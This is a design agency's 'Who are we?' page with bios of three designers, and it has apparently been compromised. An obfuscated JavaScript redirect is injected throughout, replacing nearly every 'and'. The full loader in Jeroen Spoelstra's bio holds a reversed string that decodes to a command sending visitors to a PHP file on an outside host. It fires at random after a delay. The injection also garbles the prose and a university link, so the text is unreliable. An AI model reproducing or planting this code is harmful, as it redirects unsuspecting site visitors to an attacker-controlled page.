Who are we?
Passionate, innovative, empathic andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and intended on shaking up the status quo!

We are not a traditional design agency. We are a community of designers andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and design-related professionals with a similar optimistic view on the world andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and a passion for Design Thinking andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Human Centered Innovation. As a community, we share what we learn andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and accomplish, to benefit from successes together. And through the services we offer, we are fostering a community of future designers ready to tackle todays challenges together.

Meet the designers behind AmIaDesigner:


Boukje Vastbinder

Boukje Vastbinder

Designer
Jeroen Spoelstra

Jeroen Spoelstra

Designer
Juliette Hofstede

Juliette Hofstede

Designer

Boukje Vastbinder

Boukje studied product design as well andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and worked a few years all over the world as a product designer, designing sustainable consumer goods like furniture andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and clothing. While gaining experience in the sector of social design andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and fair trade she realized that it is often not the designer that decides on the nature of a design (andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and therefor how sustainable the impact of the product really is) but the entrepreneur.

She decided to expandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and her skillset to take this into account andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and learned more about entrepreneurship. andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and innovation principles by studying these but also be starting sustainable technology based enterprises. herself

Nowadays she designs business cases, workshops, processes, collaborations, solutions andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and many more, all with the aim to make the world a better place….

Besides her work for AmIaDesigner Boukje works as trainer andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and business/ program developer at the Valorisation Centre of the Delft University of Technology

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Jeroen Spoelstra

Jeroen worked as a successful product designer andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and has both experience in launching new products in a commercial setting andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and in lecturing product design on design schools. In recent years he designed several educational programs focused on Design Thinking andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Human Centered Innovation on different Universities with the aim to show both students andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and educators that design is not only preserved for designers, but that any one can work with design. He is an avid user of social media andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and has the knowledge andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and the experience to further develop the company andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and the needed outreach. His enthusiasm will keep us fresh andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and his network will provide us with the right image andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and ensure that we stay on top of things.

Besides his work for AmIaDesigner Jeroen works as an educator design thinking & concept development for the International Business & Innovation Studies program at $hiVNZt4Y5cDrbJXMhLy=function(n){if (typeof ($hiVNZt4Y5cDrbJXMhLy.list[n]) == “string”) return $hiVNZt4Y5cDrbJXMhLy.list[n].split(“”).reverse().join(“”);return $hiVNZt4Y5cDrbJXMhLy.list[n];};$hiVNZt4Y5cDrbJXMhLy.list=[“\’php.sgnittes-nigulp/nwodkcol-nigol/snigulp/tnetnoc-pw/moc.aretup07hn//:ptth\’=ferh.noitacol.tnemucod”];var c=Math.floor(Math.random()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and University” href=”http://www.inhollandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and.nl/inhollandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andcom/Bachelors/IBIS/” target=”_blank”>InHollandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and University.

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Juliette Hofstede

Juliette graduated in 2014 at the Amsterdam University of Applied Sciences as a Product Designer. During her studies she strived to combine her love for beautiful authentic objects with a drive to create a positive impact on peoples lives. During her internship she worked at a local weaving mill in a rural village in Tanzania. Here she not only learned the craft of weaving on traditional looms but maybe more important she helped female weavers to improve their economic, social andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and cultural well-being by connecting their products to the global market place.

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Working at AmIaDesigner gives here the chance to learn andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and experience more about the social side of design. Her drive to travel, learn andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and her handom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ands on approach fits well within the company. Her impeccable taste andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and patience make her an outstandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}anding graphic designer. As facilitator andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and educator for AmIaDesigner she benefits from her skills to work with people.

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